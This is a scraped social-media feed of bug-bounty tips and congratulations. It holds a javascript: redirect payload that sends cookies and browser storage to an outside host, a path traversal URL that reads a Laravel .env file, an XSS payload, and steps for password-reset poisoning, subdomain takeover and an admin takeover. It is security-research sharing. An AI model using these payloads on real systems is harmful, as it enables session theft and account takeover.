Will Gates

Curiosity is The Engine of Achievement

[Will Gates @WllGates]

“If you want to find the secrets of the universe, think in terms of energy, frequency and vibration.”

~ Nikola Tesla

[Will Gates @WllGates]

/login?redirectUrl=javascript:fetch('https://t.co/TMO8C166hT 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

credit: @JoaoGomes12243

#bugbountytips #BugBounty

[Will Gates @WllGates]

@wadgamaraldeen Keep going it’s always hard in the beginning👏

[Will Gates @WllGates]

@rm_rf_chumy 💯 true

[Will Gates @WllGates]

@rana__khalil @PortSwigger Congrats

[Will Gates @WllGates]

@ZuriqiAhmad 👏👏

[Will Gates @WllGates]

I earned $$$$$ for my submission on https://t.co/uTl6ZTUY8R

Found a flaw in /api/users/$id/rest-password/ (admin panel):

OTP exposed inside JWT → reset password → new password.
→ Admin account takeover

credit: @ZuriqiAhmad

#BugBounty #bugbountytips

[Will Gates @WllGates]

@thezdi Congrats 🎉

[Will Gates @WllGates]

@zseano @Bugcrowd If it works, I’m a hacker. If it fails, I’m just doing 'Recon'

[Will Gates @WllGates]

@thedawgyg 🤣🤣🤣

[Will Gates @WllGates]

@Yousef39960629

[Will Gates @WllGates]

From a small mistake to make the full control over an internal ticketing system worth $$$$.

Checkout my latest writeup:

https://t.co/xnplq6N0X7

credit: @Yousef39960629

#bugbountytips #bugbounty #bughunting

[Will Gates @WllGates]

@cocomelonckz Congrats bro 😎

[Will Gates @WllGates]

Sensitive Information Disclosure(path Traversal)🔥
URL: http://IP_removed/index.php/%2e%2e/%2e%2e/.env
IMPACT: Database credentials, Laravel app_key.

credit: @datafuel0

#BugBounty #bugbountytip

[Will Gates @WllGates]

My new writeup: 23000$ for Authentication Bypass & File Upload & Arbitrary File Overwrite

credit: @h4x0r_dz

#bugbountytips #BugBounty #infosec

https://t.co/m1U1ZtcIUd

[Will Gates @WllGates]

⚡ 'Datr' cookie theft and AI leads to Facebook account takeover via trusted device recovery ($24,000 bounty)

Blog: https://t.co/NYKv7qkGnW

Author: @samm0uda

credit: @mqst_

#bugbountytips #BugBounty #infosec

[Will Gates @WllGates]

Tip:

Add to your wordlist /backup.tar

credit: @111xNagashy

#bugbountytips #BugBounty

[Will Gates @WllGates]

$500 bounty for DNS email takeover via improper domain verification.

A non-authorized DNS mail under the main domain was accepted as a company email, allowing account creation and data access.

credit: @jatav_ravi

#bugbountytips #BugBounty

[Will Gates @WllGates]

@base643d No, VDP program

[Will Gates @WllGates]

Reflected XSS on Hyundai subdomain. 🎯

Payload:

"><svg/onload=confirm(1)>

#xss #bugbountytips #BugBounty

[Will Gates @WllGates]

Account Takeover via Password Reset Poisoning

Tips :-
1- During signup or password reset flow replace the Host header value with:- Host: https://t.co/zFcxlbYqnq

2- Observe that the email verification or password reset link got poisoned

credit: @wadgamaraldeen

#bugbountytips

[Will Gates @WllGates]

Subdomain Takeover via Unclaimed CNAME

1️⃣ dev(.)example(.)om → CNAME to unclaimed(.)project(.)hosting(.)com
2️⃣ project(.)hosting(.)com is not in use
3️⃣ Attacker creates a project at that provider with same name
4️⃣ Takes over dev(.)example(.)com

credit:@NullSecurityX

#bounty